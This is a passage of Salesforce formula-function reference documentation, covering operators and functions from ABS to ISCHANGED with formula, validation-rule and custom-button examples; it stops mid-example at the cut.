REQUIRESCRIPT Returns a script tag with source for a URL you specify. Use this function
when referencing the Force.com AJAX Toolkit or other JavaScript toolkits.

552
Customize Operators and Functions

Function Description
URLFOR Returns a relative URL for an action, s-control, or a file in a static resource
archive in a Visualforce page.
VLOOKUP Returns a value by looking up a related value on a custom object similar to
the VLOOKUP() Excel function.

Encoding Functions

Function Description
HTMLENCODE Encodes text and merge field values for use in HTML by replacing characters
that are reserved in HTML, such as the greater-than sign (>), with HTML
entity equivalents, such as &gt;.
JSENCODE Encodes text and merge field values for use in JavaScript by inserting escape
characters, such as a backslash (\), before unsafe JavaScript characters, such
as the apostrophe (').
JSINHTMLENCODE Encodes text and merge field values for use in JavaScript within HTML tags
by inserting escape characters before unsafe JavaScript characters and replacing
characters that are reserved in HTML with HTML entity equivalents.
URLENCODE Encodes text and merge field values for use in URLs by replacing characters
that are illegal in URLs, such as blank spaces, with the code that represent
those characters as defined in RFC 3986, Uniform Resource Identifier (URI):
Generic Syntax. For example, blank spaces are replaced with %20, and
exclamation points are replaced with %21.

+ (Add)

Description: Calculates the sum of two values.


Use: value1 + value2 and replace each value with merge
fields, expressions, or other numeric values.
Formula Field Example: Amount + Maint_Amount__c + Services_Amount__c
This formula calculates the sum of the opportunity Amount,
maintenance amount, and services fees. Note that Maint
amount and Service Fees are custom currency fields on
opportunities.

Report Example: EMAIL_OPT_OUT:SUM + DO_NOT_CALL:SUM calculates all


Email Opt Out fields plus all Do Not Call fields on the
leads in your report. This formula is a number data type that
returns a positive integer.
Validation Rule Example: You may have a custom object that allows users to track the
total number of hours worked in a week. Use the following
example to ensure that users cannot save a time card record
with more than 40 hours in a work week.
Monday_Hours__c +
Tuesday_Hours__c +

553
Customize Operators and Functions

Wednesday_Hours__c +
Thursday_Hours__c +
Friday_Hours__c > 40

Use a formula like this one in a validation rule to display the


following error message when the total number of hours
entered for each work day is greater than 40: “Your total hours
cannot exceed 40.” This example requires five custom fields
on your custom object, one for each day of work.

- (Subtract)

Description: Calculates the difference of two values.


Use: value1 - value2 and replace each value with merge
fields, expressions, or other numeric values.
Example: Amount - Discount_Amount__c
This formula calculates the difference of the opportunity
Amount less the Discount Amount. Note that Discount
Amount is a custom currency field on opportunities.

Report Example: AMOUNT:SUM -


Opportunity.Discount_Amount__c:SUM calculates the
difference of all Amount fields and all Discounted Amount
custom fields on the opportunities in your report. This formula
is a currency data type that returns a currency sign and decimal
places.

* (Multiply)

Description: Multiplies its values.


Use: value1 * value2 and replace each value with merge
fields, expressions, or other numeric values.
Example: Consulting_Days__c * 1200
This formula calculates the number of consulting days times
1200 given that this formula field is a currency data type and
consulting charges a rate of $1200 per day. Note that
Consulting Days is a custom field on opportunities.

Report Example: RowCount * AGE:AVG calculates the record count times the
average age value of all opportunities in your report. This
formula is a number data type that returns a positive or
negative integer or decimal.

/ (Divide)

Description: Divides its values.

554
Customize Operators and Functions

Use: value1 / value2 and replace each value with merge


fields, expressions, or other numeric values.
Example: AnnualRevenue/ NumberOfEmployees
This formula calculates the revenue amount per employee
using a currency field on accounts.

IF(NumberOfOpportunities > 0,
NumberOfWonOpportunities /
NumberOfOpportunities, null)

This formula calculates the win rate of opportunities on a


campaign.

Report Example: % Won Opportunities


WON:SUM / RowCount calculates the percent of Won
opportunities using a record count representing the number
of all opportunities in your report. This formula is a number
data type that returns a positive or negative integer.
% Difference between Cost and Sales Price
(TOTAL_PRICE:SUM - QUANTITY:SUM *
Product2.Cost__c:SUM) / (QUANTITY:SUM *
Product2.Cost__c:SUM) calculates the average percent
difference between what a product costs and its selling price
on a product-by-product level across many opportunities. Note
that Product2.Cost__c:SUM is a custom currency field
named Cost on products, which includes the cost of each
product. This formula is a percent data type that returns a
positive or negative integer. For best results, use this on a
summary Opportunities with Products report that is
summarized by Product Name and includes summary totals
for Quantity, Total Price, and Cost.

^ (Exponentiation)

Description: Raises a number to a power of a specified number.


Use: number^integer and replace number with a merge field,
expression, or another numeric value; replace integer with
a merge field that contains an integer, expression, or any
integer.
Example: NumberOfEmployees^4 calculates the number of employees
to the 4th power.
Report Example: ACTIVE:SUM ^ 2 calculates the number of active
Salesforce.com users to the 2nd power for administration.
This formula is a number data type that returns a positive
integer.
Tips: Avoid replacing integer with a negative number.

555
Customize Operators and Functions

() (Open Parenthesis and Close Parenthesis)

Description: Specifies that the expressions within the open parenthesis and
close parenthesis are evaluated first. All other expressions are
evaluated using standard operator precedence.
Use: (expression1) expression2... and replace each
expression with merge fields, expressions, or other numeric
values.
Example: (Unit_Price__c - Standard_Price__c) /
Sales_Price__c calculates the difference between the list
price and sales price divided by the sales price. As a percent
data type on opportunity products, this calculates the
discounted percent.
Report Example: (DURATIONHOURS:SUM * RowCount) / 24 calculates
the duration of all activities times the record count per 24
hours. This formula is a percent data type that returns a
positive or negative integer or decimal, representing what
percent of a day is spent on activities.

= and == (Equal)

Description: Evaluates if two values are equivalent.


Use: expression1=expression2 or expression1 ==
expression2, and replace each expression with merge
fields, expressions, or other numeric values.
Example: Due Date
Due Date = CreatedDate + 5 assigns a due date that is
five days past the create date.
Commission Amount

IF(Probability =1, ROUND(Amount*0.02, 2),


0)

This formula calculates the 2% commission amount of an


opportunity that has a probability of 100%. All other
opportunities will have a commission value of 0.
Possible results:
• An opportunity with a Probability of 90% will have a
commission of 0.
• An opportunity with a Probability of 100% and an
Amount of $100,000 will have a commission of $2,000.

<> and != (Not Equal)

Description: Evaluates if two values are not equivalent.

556
Customize Operators and Functions

Use: expression1 <> expression2 or expression1 !=


expression2, and replace each expression with merge
fields, expressions, or other numeric values.
Example: IF(Maint_Amount__c + Services_Amount__c<>
Amount,
"DISCOUNTED", "FULL PRICE")

This formula displays “DISCOUNTED” on an opportunity


if its maintenance amount and services amount do not equal
the opportunity amount. Otherwise, displays “FULL PRICE.”
Note that this example uses two custom currency fields for
Maint Amount and Services Amount.

< (Less Than)

Description: Evaluates if a value is less than the value that follows this
symbol.
Use: value1 < value2 and replace each value with merge fields,
expressions, or other numeric values.
Example: IF(AnnualRevenue < 1000000, 1, 2) assigns the value
“1” to accounts with revenues less than one million and the
value “2” to accounts with revenues greater than one million.

> (Greater Than)

Description: Evaluates if a value is greater than the value that follows this
symbol.
Use: value1 > value2 and replace each value with merge fields,
expressions, or other numeric values.
Example: IF(commission__c > 1000000, "High Net Worth",
"General") assigns the “High Net Worth” value to
opportunities with a commission greater than one million.
Note, this is a text formula field on opportunities that uses a
commission custom field.

<= (Less Than or Equal)

Description: Evaluates if a value is less than or equal to the value that


follows this symbol.
Use: value1 <= value2 and replace each value with merge
fields, expressions, or other numeric values.
Example: IF(AnnualRevenue <= 1000000, 1, 2) assigns the
value “1” to accounts with revenues less than or equal to one
million and the value “2” to accounts with revenues greater
than one million.

557
Customize Operators and Functions

>= (Greater Than or Equal)

Description: Evaluates if a value is greater than or equal to the value that


follows this symbol.
Use: value1 >= value2 and replace each value with merge
fields, expressions, or other numeric values.
Example: IF(Commission__c >= 1000000, "YES", "NO")
assigns the “YES” value to opportunities with a commission
greater than or equal to one million. Note, this is a text formula
field on opportunities that uses a custom currency field called
Commission.

&& (AND)

Description: Evaluates if two values or expressions are both true. Use this
operator as an alternative to the logical function AND.
Use: (logical1) && (logical2) and replace logical1 and
logical2 with the values or expressions that you want
evaluated.
Example: IF((Price<100 && Quantity<5),"Small", null)
This formula displays “Small” if the price is less than 100 and
quantity is less than five. Otherwise, this field is blank.

|| (OR)

Description: Evaluates if at least one of multiple values or expressions is


true. Use this operator as an alternative to the logical function
OR.
Use: (logical1) || (logical2) and replace any number of
logical references with the values or expressions you want
evaluated.
Example: IF((ISPICKVAL(Priority, "High")) ||
(ISPICKVAL(Status , "New")),
ROUND(NOW()-CreatedDate, 0), null)
This formula returns the number of days a case has been open
if the Status is new or the Priority is high. If the case
was opened today, this field displays a zero.

558
Customize Operators and Functions

Validation Rule Example: (Discount_Rate__c < 0) || (Discount_Rate__c


> 0.40)

This validation rule formula displays the following error


message when the Discount Rate custom field is not
between 0 and 40%: "Discount Rate cannot exceed 40%."

& (Concatenate)

Description: Connects two or more strings.


Use: string1&string2 and replace each string with merge
fields, expressions, or other values.
Example: "Expense-" & Trip_Name__c & "-" &
ExpenseNum__c
This formula displays the text “Expense-” followed by trip
name and the expense number. This is a text formula field
that uses an expense number custom field.

ABS

Description: Calculates the absolute value of a number. The absolute value


of a number is the number without its positive or negative
sign.
Use: ABS(number) and replace number with a merge field,
expression, or other numeric value that has the sign you want
removed.
Example: ABS(ExpectedRevenue) calculates the positive value of the
Expected Revenue amount regardless of whether it is
positive or negative.

AND

Description: Returns a TRUE response if all values are true; returns a


FALSE response if one or more values are false. Use this
function as an alternative to the operator && (AND).
Use: AND(logical1,logical2,...) and replace
logical1,logical2,... with the values that you want
evaluated.
Formula Field Example: IF(AND(Price<1,Quantity<1),"Small", null)
This formula displays “Small” if the price and quantity are less
than one. This field is blank if the asset has a price or quantity
greater than one.

559
Customize Operators and Functions

BEGINS

Description: Determines if text begins with specific characters and returns


TRUE if it does. Returns FALSE if it does not.
Use: BEGINS(text, compare_text) and replace text,
compare_text with the characters or fields you want to
compare.
Example: IF(BEGINS (Product_type__c, "ICU"),
"Medical", "Technical")
This example returns the text “Medical” if the text in any
Product Type custom text field begins with “ICU.” For all
other products, it displays “Technical.”

Tips: • This function is case sensitive so be sure your


compare_text value has the correct capitalization.
• When using this function in a validation rule or workflow
rule, fields that are blank are considered valid. For example,
if you have a validation rule that tests to see if the serial
number of an asset begins with “3,” all assets that have a
blank serial number are considered valid.

BLANKVALUE

Description: Determines if an expression has a value and returns a substitute expression if it does
not. If the expression has a value, returns the value of the expression.
Use: BLANKVALUE(expression, substitute_expression) and replace expression
with the expression you want evaluated; replace substitute_expression with the
value you want to replace any blank values.
Example: Example 1
BLANKVALUE(Department, “Undesignated”)
This formula returns the value of the Department field if the Department field
contains a value. If the Department field is empty, this formula returns the word
Undesignated.
Example 2
(BLANKVALUE(Payment_Due_Date__c, StartDate +5)
This formula returns the date five days after the contract start date whenever Payment
Due Date is blank. Payment Due Date is a custom date field on contracts.

Tips: • Use BLANKVALUE instead of NULLVALUE in new formulas. BLANKVALUE


has the same functionality as NULLVALUE, but also supports text fields.
Salesforce.com will continue to support NULLVALUE, so you do not need to
change existing formulas.
• A field is not empty if it contains a character, blank space, or zero. For example, a
field that contains a space inserted with the spacebar is not empty.

560
Customize Operators and Functions

• Use the BLANKVALUE function to return a specified string if the field does not
have a value; use the ISBLANK function if you only want to check if the field has
a value.
• If you use this function with a numeric field, the function only returns the specified
string if the field does not have a value and is not configured to treat blank fields as
zeroes.

BR

Description: Inserts a line break in a string of text.


Use: BR()

Example: CASE(ShippingCountry,
"USA",
ShippingStreet & BR() &
ShippingCity & ",
" & ShippingState & " " &
ShippingPostalCode & BR()
& ShippingCountry,
"France",
ShippingStreet & BR() &
ShippingPostalCode & " " &
ShippingCity & BR() &
ShippingCountry, "etc")

This formula field displays a formatted mailing address for a


contact in standard format, including spaces and line breaks
where appropriate depending on the country for the account.

Tips: • Do not remove the parentheses after the function name.


• Keep the parentheses empty. They do not need to contain
a value.
• Remember to surround the BR() with concatenation
operators: &.
• Avoid using this function in mail merge templates.
• This function is not available in s-controls.

CASE

Description: Checks a given expression against a series of values. If the


expression is equal to a value, returns the corresponding result.
If it is not equal to any values, it returns the else_result.
Use: CASE(expression,value1, result1, value2,
result2,..., else_result) and replace expression
with the field or value you want compared to each specified
value. Replace each value and result with the value that must
be equivalent to return the result entry. Replace else_result
with the value you want returned when the expression does
not equal any values.

561
Customize Operators and Functions

Formula Field Example: Days Open for Cases


Use this example of a custom formula field called Days Open
to display different text depending on the number of days a
case has been open:

CASE(Days_Open__c, 3,
"Reassign", 2, "Assign Task", "Maintain")

The following text is displayed:


• “Reassign” for any case open three days.
• “Assign Task” for any case open two days.
• “Maintain” for all other cases.
Last Activity Month
This formula field displays the month of the last account
activity or “None” if there are no activities for the account.

CASE(MONTH(LastActivityDate),
1, "January",
2, "February",
3, "March",
4, "April",
5, "May",
6, "June",
7, "July",
8, "August",
9, "September",
10, "October",
11, "November",
12, "December",
"None")

Default Value Example: Discount Rate


Use the following default value formula to insert a different
discount rate on an opportunity based on the department of
the person creating the opportunity:

CASE(User.Department, "IT", 0.25, "Field",


0.15, 0)

In this example, the formula inserts a discount rate of 25% on


any opportunity created by a user in the “IT” department or
15% on any opportunity created by someone in the “Field”
department. A zero is applied if the creator does not belong
to either of these departments. This is a custom percent field
on opportunities that uses the standard user field
Department.
Product Language
You may want to associate a product with its language so that
your users know the type of documentation or adapter to
include. Use the following default value formula to
automatically set the language of a product based on the

562
Customize Operators and Functions

country of the user creating the product. In this example, the


default value is “Japanese” if the user's country is “Japan” and
“English” if the user's country is “US.” If neither is true, the
default value “unknown” is inserted into the Product
Language field.

CASE($User.Country , "Japan", "Japanese",


"US", "English","unknown")

Tips: • Be sure your value1, value2... expressions are the same


data type.
• Be sure your result1, result2... expressions are the
same data type.
• CASE functions cannot contain functions that return true
or false. Instead, make true or false expressions return
numbers such as:

CASE(1, IF(ISPICKVAL (Term__c, "12"), 1,


0),
12 * Monthly_Commit__c,
IF(ISPICKVAL(Term__c, "24"), 1, 0),
24 * Monthly_Commit__c, 0)

In this formula, Term is a picklist field that is multiplied


by the Monthly Commit whenever it contains the value 1
for true.
• The else_result value is required.
• CASE functions return an error whenever any of the
expressions return an error, regardless of which one should
be returned. For example, CASE(Field__c,"Partner",
"P", "Customer", "C", LEFT(Field__c, -5))
returns an error even if the value of the field is “Partner”
or “Customer” because the last statement is illogical.
• If the field in your CASE function is blank, it returns your
else_result value. For example, this formula:
CASE(Days_Open__c, 3, "Reassign", 2,
"Assign Task", "Maintain") displays “Maintain”
if the Days Open field is blank, 0, or any value other than
2 or 3.
• Use CASE functions to determine if a picklist value is
equal to a particular value. For example the formula
CASE(Term__c, "12", 12 * Monthly_Commit__c,
"24", 24 * Monthly_Commit__c, 0) multiplies
the Monthly Commit amount by 12 whenever the Term
is 12 or multiplies the Monthly Commit amount by 24
whenever the Term is 24. Otherwise, the result is zero.

CEILING

Description: Rounds a number up to the nearest integer.

563
Customize Operators and Functions

Use: CEILING(number) and replace number with the field or


expression you want rounded.
Example: Rounding Up (literal value)

CEILING(2.5)

This formula returns 3, which is 2.5 rounded up to the nearest


number.
Earthquake Magnitude
CEILING(Magnitude__c) returns the value of a formula
number field that calculates the magnitude of an earthquake
up to the nearest integer.

CONTAINS

Description: Compares two arguments of text and returns TRUE if the


first argument contains the second argument. If not, returns
FALSE.
Use: CONTAINS(text, compare_text) and replace text with
the text that contains the value of compare_text.
Example: IF(CONTAINS(Product_Type__c, "part"),
"Parts", "Service")

This formula checks the content of a custom text field named


Product_Type and returns “Parts” for any product with the
word “part” in it. Otherwise, it returns “Service.” Note that
the values are case sensitive, so if a Product_Type field
contains the text “Part” or “PART,” this formula returns
“Services.”

Tips: • This function is case sensitive so be sure your


compare_text value has the correct capitalization.
• When using this function in a validation rule or workflow
rule, fields that are blank are considered valid. For example,
if you have a validation rule that tests to see if the serial
number of an asset contains “A,” all assets that have a blank
serial number are considered valid.
• The CONTAINS function does not support multi-select
picklists. Use INCLUDES to see if a multi-select picklist
has a specific value.

DATE

Description: Returns a date value from year, month, and day values you
enter. Salesforce.com displays an error on the detail page if
the value of the DATE function in a formula field is an invalid
date, such as February 29 in a non-leap year.

564
Customize Operators and Functions

Use: DATE(year,month,day) and replace year with a four-digit


year, month with a two-digit month, and day with a two-digit
day.
Example: DATE(2005, 01, 02) creates a date field of January 2,
2005.

DATEVALUE

Description: Returns a date value for a date/time or text expression.


Use: DATEVALUE(expression) and replace expression with
a date/time or text value, merge field, or expression.
Example: Closed Date
DATEVALUE(ClosedDate) displays a date field based on
the value of the Date/Time Closed field.
Literal Date Value
DATEVALUE("2005-11-15") returns November 15, 2005
as a date value.

Tips: • If the field referenced in the function is not a valid text or


date/time field, the formula field displays #ERROR!
• When entering a date as a literal value, surround the date
with quotes and use the following format:
YYYY-MM-DD, that is, a four-digit year, two-digit
month, and two-digit day.
• If the expression does not match valid date ranges, such
as the MM is not between 01 and 12, the formula field
displays #ERROR!
• Dates and times are always calculated using the user’s time
zone.

DAY

Description: Returns a day of the month in the form of a number between


1 and 31.
Use: DAY(date) and replace date with a date field or value such
as TODAY().
Example: DAY(Code_Freeze__c) returns the day in your custom code
freeze date. Note this does not work on date/time fields.

EXP

Description: Returns a value for e raised to the power of a number you


specify.

565
Customize Operators and Functions

Use: EXP(number) and replace number with a number field or


value such as 5.
Example: Exponent of a Literal Value
EXP(3)
This formula returns the value of e to the third power.
Compound Interest
Principal__c * EXP(Rate__c * Years__c)
This formula calculates the compound interest based on a
custom currency field for principal, custom percent field for
rate, and custom number field for years.

FIND

Description: Returns the position of a string within a string of text


represented as a number.
Use: FIND(search_text, text[, start_num]) and replace
search_text with the string you want to find, replace text
with the field or expression you want to search, and replace
start_num with the number of the character from which to
start searching from left to right.
Example: Street Address
FIND(" ", Street) returns the character position of the
first space in the Street field. You can use this number to
find out the length of the street address as a means of
separating a street address from street name in an address field.
Deriving Website Addresses
SUBSTITUTE(Email, LEFT(Email, FIND("@",
Email)), "www.") finds the location of the @ sign in a
person's email address to determine the length of text to
replace with a “www.” as a means of deriving their website
address.

Tips: • Be sure to remove the brackets, [ and ], from your formula


before validating it.
• If the field referenced in your text parameter is blank,
the formula field displays 0.
• Your search_text parameter is case sensitive and cannot
contain any wildcard characters.
• If your search does not return any results, a 0 displays in
the field.
• The start_num parameter is optional. If you do not enter
a start_num value, the formula uses the value one, or the
first character in the string.
• If your start_num is not greater than zero, a 0 displays
in the field.

566
Customize Operators and Functions

• If your start_num is greater than the length of the text,


a 0 displays in the field.
• When entering your start_num parameter, remember
that some fields like theWebsite field are unique because
a “http://” is automatically appended to the beginning of
the text you enter.
• Note that the first character in a string is designated as
one rather than zero.

FLOOR

Description: Returns a number rounded down to the nearest integer.


Use: FLOOR(number) and replace number with a number field or
value such as 5.245.
Example: Commission Amounts
FLOOR(commission__c) rounds commission down to the
nearest integer.
Contact's Age
FLOOR((TODAY()-Birthdate)/365.2425)
Use this formula to calculate a person’s age based on a standard
field called Birthdate. The person’s Birthdate is
subtracted from today’s date, which returns the number of
days since the person’s Birthdate. This number is divided
by the number of days in a year and rounded down to the
nearest integer.

GETRECORDIDS

Description: Returns an array of strings in the form of record IDs for the
selected records in a list, such as a list view or related list.
Use: {!GETRECORDIDS(object_type)} and replace
object_type with a reference to the custom or standard
object for the records you want to retrieve.

567
Customize Operators and Functions

Custom Button Example: {!REQUIRESCRIPT("/soap/ajax/13.0/connection.js")}

var records =
{!GETRECORDIDS($ObjectType.Case)};
var newRecords = [];

if (records[0] == null)
{
alert("Please select at least one row")
}
else
{
for (var n=0; n<records.length; n++) {
var c = new sforce.SObject("Case");
c.id = records[n];
c.Status = "New";
newRecords.push(c);
}

result =
sforce.connection.update(newRecords);

window.location.reload();
}

In this example, all selected case records are updated with a


Status of “New.” To set this up in your organization, create
a custom list button for cases with the following attributes:
• Display Type is “List Button”
• Behavior is “Execute JavaScript”
• Content Source is “OnClick JavaScript”

Paste the sample code above into the content of your custom
button. Finally, add the list button to the a page layout that
contains the Cases related list, such as accounts or
opportunities. Users can select any number of cases in the
related list and click the list button to change the status of
those cases at once. Notice the check for records[0] ==
null, which displays a message to users when they do not
select at least one record in the list.

Tips: • Use global variables to access special merge fields for


s-controls, custom buttons, and links.
• Activities are special types of objects. Use
{!GETRECORDIDS($ObjectType.Task)} when creating
a task list button. Use
{!GETRECORDIDS($ObjectType.Event)} when creating
an event list button.
• This function is only available in custom buttons, links,
and s-controls.

568
Customize Operators and Functions

GETSESSIONID

Description: Returns the user’s session ID.


Use: GETSESSIONID()

Example: HYPERLINK("https://www.myintegration.com?sId="&
GETSESSIONID() & "?&rowID="&Name &
"action=CreateTask","Create a Meeting
Request") creates a link to an application outside of
Salesforce.com, passing the parameters so that it can connect
to Salesforce.com via the API and create the necessary event.

HTMLENCODE

Description: Encodes text and merge field values for use in HTML by
replacing characters that are reserved in HTML, such as the
greater-than sign (>), with HTML entity equivalents, such as
&gt;.

Use: {!HTMLENCODE(text)} and replace text with the merge


field or text string that contains the reserved characters.
Example: If the merge field foo__c contains <B>Enter the user's
name<b>, {!HTMLENCODE(foo__c)} results in:
&lt;B&gt;Enter the user&#39;s name&lt;/b&gt;

HYPERLINK

Description: Creates a link to a URL specified that is linkable from the text
specified.
Use: HYPERLINK(url, friendly_name [,target]) and
replace url with the Web address, replace friendly_name
with the link text, and, optionally, replace target with the
window or frame in which to display the content.
Example: Creating Events
HYPERLINK("00U/e?retURL=%2F006x0000001T8Om&what_id="
& Id, "Create Event") adds a link called “Create Event”
that, when clicked, creates a new event that is associated with
the current opportunity.
Phone Dialer
HYPERLINK("http://servername/call?id=" & Id
& "&phone=" & Phone, Phone)creates a linkable phone
number field that automatically dials the phone number when
clicked. In this example, replace "servername" and "call"
with the name of your dialing tool and the command it uses
to dial. The merge field, Id, inserts the identifier for the
contact, lead, or account record. The first Phone merge field
tells the dialing tool what number to call and the last Phone

569
Customize Operators and Functions

merge field uses the value of the Phone field as the linkable
text the user clicks to dial.

Tips: • Hyperlink formula fields are of type text.


• Include the protocol and URL in quotes as in
HYPERLINK("http://www.cnet.com", "cnet").
• Avoid using text functions such as LEN, LEFT, or
RIGHT on HYPERLINK function results.
• When linking to Salesforce.com pages, use a relative link,
such as “00U/e?retURL=%...”, for hyperlink formulas
unless you want to add the formula field to a search layout.
Use the complete URL, including the server name and
https://, in a hyperlink formula to add it to a search layout.
Note that formula fields are not available in search result
layouts.
• Use the $Api variable to reference API URLs.
• Be sure to remove the brackets, [ and ], from your formula
before validating it.
• The target parameter is optional. If you do not specify
a target, the link opens in a new browser window. Some
common target parameters are:
_blank
Displays link in a new unnamed window.
_self
Displays link in the same frame or window as the
element that refers to it.
_parent
Displays link in the immediate frameset parent of the
current frame. This value is the same as _self if the
current frame has no parent.
_top
Displays link in the full original window, cancelling
any other frames. This value is the same as _self if
the current frame has no parent.
For more information on basic HTML tags, consult an
HTML reference on the Internet.
• The HYPERLINK function is available everywhere that
you can define a formula except default values, field
updates, s-controls, validation rules, approval processes,
custom buttons and links, and workflow rules.

IF

Description: Determines if expressions are true or false. Returns a given


value if true and another value if false.

570
Customize Operators and Functions

Use: IF(logical_test, value_if_true, value_if_false)


and replace logical_test with the expression you want
evaluated; replace value_if_true with the value you want
returned if the expression is true; replace value_if_false
with the value you want returned if the expression is false.
Formula Field Example: Overdue Payments
IF(AND(Payment_Due_Date__c < TODAY(),
Payment_Status__c ="UNPAID") , "PAYMENT
OVERDUE", null)
This formula determines if the payment due date is past and
the payment status is “UNPAID.” If so, returns the text
“PAYMENT OVERDUE” and if not, leaves the field blank.
This example uses a custom date field called Payment Due
Date and a text custom field called Payment Status on
contracts.
Insert Tax Rate
Use this default value formula to set the tax rate of an asset
based on the user's city. Create a custom percent field with
the following default value:

IF($User.City = "Napa", 0.0750,


IF($User.City = "Paso Robles", 0.0725,
IF($User.City = "Sutter Creek", 0.0725,
IF($User.City = "Los Olivos", 0.0750,
IF($User.City = "Livermore", 0.0875,
null
)
)
)
)
)

Custom Button Example: {!


IF(Account.BillingCountry = "US",
"http://maps.google.com/maps?q=
"&Account.BillingStreet&
"+"&Account.BillingCity&"+
"&Account.BillingState&"+
"&Account.BillingCountry,
(IF(Account.BillingCountry = "UK",
"http://maps.google.co.uk/maps?q=
"&Account.BillingStreet
&"+"&Account.BillingCity&"+
"&Account.BillingCountry,
"http://maps.google.com")))
}

This example uses the IF function to determine if an address


is in the United States or United Kingdom so that it can use
the appropriate type of Google map to display the address.

Tips: • Make sure your value_if_true and value_if_false


expressions are the same data type.

571
Customize Operators and Functions

• When using an IF function with the $Profile.UserType


variable to determine the type of Salesforce.com user
license the logged in user has, use the following values:
- Standard for Salesforce
- PowerPartner for PRM User
- CustomerSuccess for Customer Portal User
- PowerCustomerSuccess for Customer Portal Manager
For example, use the following formulas to determine if
the logged in user has the license type in quotes:

IF(ISPICKVAL($Profile.UserType
,"Standard"), 100, 0.1)

IF(ISPICKVAL($Profile.UserType
,"PowerPartner"), 100, 0.1)

IF(ISPICKVAL($Profile.UserType
,"CustomerSuccess"), 100, 0.1)

Note: $Profile merge fields are only available in


Enterprise, Unlimited, and Developer Editions.

IMAGE

Description: Inserts an image with alternate text and height/width


specifications.
Use: IMAGE(image_url, alternate_text, height,
width) and replace image_url with the full path to the
image; replace alternate_text with the string of text you
want displayed when you hover your mouse over the image;
replace height with the vertical size of the image in pixels;
replace width with the horizontal size of the image in pixels.
Example: HYPERLINK("ymsgr:sendIM?" & Yahoo_Name__c,
IMAGE("http://opi.yahoo.com/online?u=" &
Yahoo_Name__c & "&m;=g&t;=0", "Yahoo"))
This formula displays a clickable Yahoo! Messenger icon
indicating if the person is logged on to the service. Users can
click the icon to launch a Yahoo! Messenger conversation with
the person. This example uses a custom text field called Yahoo
Name on contacts where you can store the contact's Yahoo!
Messenger ID.

Tips: • The height and width parameters are optional.


• Use a text string to replace the image_url and
alternate_text parameters. Surround each text string
in quotes.

572
Customize Operators and Functions

• Use numbers to replace the height and width


parameters.
• Add images to your Documents tab if you want to display
them elsewhere. For example, store the image of a product
in a document folder, copy the URL to the document, and
paste that URL in the image_url parameter of a formula
field on the Products tab.
• If you use Internet Explorer, you may need to change your
security settings so that it does not display a warning
prompt when images use HTTP protocol. See the online
help for Internet Explorer for instructions on changing
your security settings.
• The IMAGE function cannot include the
GETSESSIONID function as one of its arguments.
• The IMAGE function is available everywhere that you
can define a formula except default values, field updates,
s-controls, validation rules, approval processes, and
workflow rules.

INCLUDE

Description: Returns content from an s-control snippet. Use this function


to reuse common code in many s-controls.
Use: {!INCLUDE(source, [inputs])} and replace source
with the s-control snippet you want to reference. Replace
inputs with any information you need to pass to the snippet.

S-Control Example: Including Header Snippet

<html>
<body>
{! INCLUDE($SControl.Header_Snippet,
[title = "My Title", theme = "modern"])}
</body>
</html>

This example references a snippet that provides a header for


a page that you created to display in a Web tab. It displays the
page title “My Title.” Use the $SControl global variable to
reference a custom s-control.
Including Input Parameters
Use the following two examples to see how you can create a
reusable snippet and include it in an s-control.

<h2 class=”{!$Request.titleTheme}.title”>
{!$Request.titleText}</h2>

This snippet requires two input parameters: titleTheme and


titleText. It is a reusable HTML tag that presents a page

573
Customize Operators and Functions

title and theme based on input parameters. Next, create an


s-control that includes this snippet:

<html>
<head>
</head>
<body>
{! INCLUDE($SControl.Title_Snippet,
[titleTheme = "modern", titleText = "My
Sample Title"]) }

... Insert your page specific content here


...

</body>
</html>

This s-control uses the snippet titled Title_Snippet to display


the title of the page “My Sample Title” and modern theme.
Replace Insert your page specific content here
with your own HTML content and use the s-control as the
source of a Web tab to create your own pages in
Salesforce.com.

Tips: • Because this function references an s-control snippet and


does not copy it, it always runs the latest content of the
s-control snippet. Remember when making a change to
your s-control snippet that it affects all INCLUDE
functions that refer to it.
• Use the $Request global variable to access any information
inside the snippet.
• This function is only available in custom buttons, links,
and s-controls.

INCLUDES

Description: Determines if any value selected in a multi-select picklist field equals a text
literal you specify.
Use: INCLUDES(multiselect_picklist_field, text_literal) and replace
multiselect_picklist_field with the merge field name for the multi-select
picklist; and replace text_literal with the multi-select picklist value you
want to match in quotes.
Examples: INCLUDES(Hobbies__c, "Golf") returns TRUE if one of the selected
values in the Hobbies custom multi-select picklist field is Golf.
Tips: • The text_literal expression must be of type text and enclosed in quotes.
It cannot be a merge field or the result of a function.
• Salesforce.com returns an error if any of the following occurs:
- You do not provide a text_literal expression.
- You provide an empty text_literal expression, such as "" or " ".

574
Customize Operators and Functions

• Use ISNULL to determine if a multi-select picklist field is empty.


• Use the PRIORVALUE function inside the INCLUDES function to check
if the previous value of a multi-select picklist field included a specific value.
For example:

INCLUDES(
PRIORVALUE(multiselect_picklist_field),text_literal
)

ISBLANK

Description: Determines if an expression has a value and returns TRUE if


it does not. If it contains a value, this function returns FALSE.
Use: ISBLANK(expression) and replace expression with the
expression you want evaluated.
Example: (IF(ISBLANK(Maint_Amount__c), 0, 1) +
IF(ISBLANK(Services_Amount__c), 0,1) +
IF(ISBLANK(Discount_Percent__c), 0, 1) +

IF(ISBLANK(Amount), 0, 1) +
IF(ISBLANK(Timeline__c), 0, 1)) / 5

This formula takes a group of opportunity fields and calculates


what percent of them are being used by your sales personnel.
This formula field checks five fields to see if they are blank.
If so, a zero is counted for that field. A “1” is counted for any
field that contains a value and this total is divided by five (the
number of fields evaluated). Note that this formula requires
you select the Treat blank fields as blanks option
under Blank Field Handling while the Advanced Formula
subtab is showing.

Tips: • Use ISBLANK instead of ISNULL in new formulas.


ISBLANK has the same functionality as ISNULL, but
also supports text fields. Salesforce.com will continue to
support ISNULL, so you do not need to change any
existing formulas.
• A field is not empty if it contains a character, blank space,
or zero. For example, a field that contains a space inserted
with the spacebar is not empty.
• Use the BLANKVALUE function to return a specified
string if the field does not have a value; use the ISBLANK
function if you only want to check if the field has a value.
• If you use this function with a numeric field, the function
only returns TRUE if the field has no value and is not
configured to treat blank fields as zeroes.

575
Customize Operators and Functions

ISCHANGED

Description: Compares the value of a field to the previous value and returns
TRUE if the values are different. If the values are the same,
this function returns FALSE.
Use: ISCHANGED(field) and replace field with the name of
the field you want to compare.
Validation Rule Example: The following validation rule prevents users from changing
an opportunity name after it has been created:
NOT(ISCHANGED(Name)).
NOT(AND(ISCHANGED(Priority),
ISPICKVAL(Priority, “Low”))) is a validation rule that
ensures if a user changes the Priority of a case, the new
priority cannot be “Low.”
NOT(AND(ISCHANGED(CloseDate),
OR(MONTH(CloseDate) <> MONTH(TODAY()),
YEAR(CloseDate) <>
